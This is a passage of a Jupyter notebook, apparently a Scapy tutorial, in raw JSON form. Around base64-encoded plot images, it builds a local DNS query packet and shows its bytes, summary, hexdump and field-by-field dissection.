xwRBI+b\n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\n3vwBiKfkY/e6SeUAAAAASUVORK5CYII=\n", "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/plain": [ "[[],\n", " []]" ] }, "execution_count": 26, "metadata": {}, "output_type": "execute_result" } ], "source": [ "%matplotlib inline\n", "ans.multiplot(lambda x, y: (y[IP].src, (y.time, y[IP].id)), plot_xy=True)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The `raw()` constructor can be used to \"build\" the packet's bytes as they would be sent on the wire." ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "b'E\\x00\\x00=\\x00\\x01\\x00\\x00@\\x11|\\xad\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x005\\x005\\x00)\\xb6\\xd3\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x03www\\x07example\\x03com\\x00\\x00\\x01\\x00\\x01'\n" ] } ], "source": [ "pkt = IP() / UDP() / DNS(qd=DNSQR())\n", "print(repr(raw(pkt)))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Since some people cannot read this representation, Scapy can:\n", " - give a summary for a packet" ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "IP / UDP / DNS Qry \"www.example.com\" \n" ] } ], "source": [ "print(pkt.summary())" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ " - \"hexdump\" the packet's bytes" ] }, { "cell_type": "code", "execution_count": 18, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "0000 45 00 00 3D 00 01 00 00 40 11 7C AD 7F 00 00 01 E..=....@.|.....\n", "0010 7F 00 00 01 00 35 00 35 00 29 B6 D3 00 00 01 00 .....5.5.)......\n", "0020 00 01 00 00 00 00 00 00 03 77 77 77 07 65 78 61 .........www.exa\n", "0030 6D 70 6C 65 03 63 6F 6D 00 00 01 00 01 mple.com.....\n" ] } ], "source": [ "hexdump(pkt)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ " - dump the packet, layer by layer, with the values for each field" ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "###[ IP ]###\n", " version = 4\n", " ihl = None\n", " tos = 0x0\n", " len = None\n", " id = 1\n", " flags = \n", " frag = 0\n", " ttl = 64\n", " proto = udp\n", " chksum = None\n", " src = 127.0.0.1\n", " dst = 127.0.0.1\n", " \\options \\\n", "###[ UDP ]###\n", " sport = domain\n", " dport = domain\n", " len = None\n", " chksum = None\n", "###[ DNS ]###\n", " id = 0\n", " qr = 0\n", " opcode = QUERY\n", " aa = 0\n", " tc = 0\n", " rd = 1\n", " ra = 0\n", " z = 0\n", " ad = 0\n", " cd = 0\n", " rcode = ok\n", " qdcount = 1\n", " ancount = 0\n", " nscount = 0\n", " arcount = 0\n", " \\qd \\\n", " |###[ DNS Question Record ]###\n", " | qname = 'www.example.com'\n", " | qtype = A\n", " | qclass = IN\n", " an = None\n", " ns = None\n", " ar = None\n" ] } ], "source": [ "pkt.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ " - render a pretty and handy dissection of the packet" ] }, { "cell_type": "code", "execution_count": 15, "metadata": { "scrolled": true }, "outputs": [ { "data": { "image/png": "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\nm+T8n/9hjL0Dz39rvS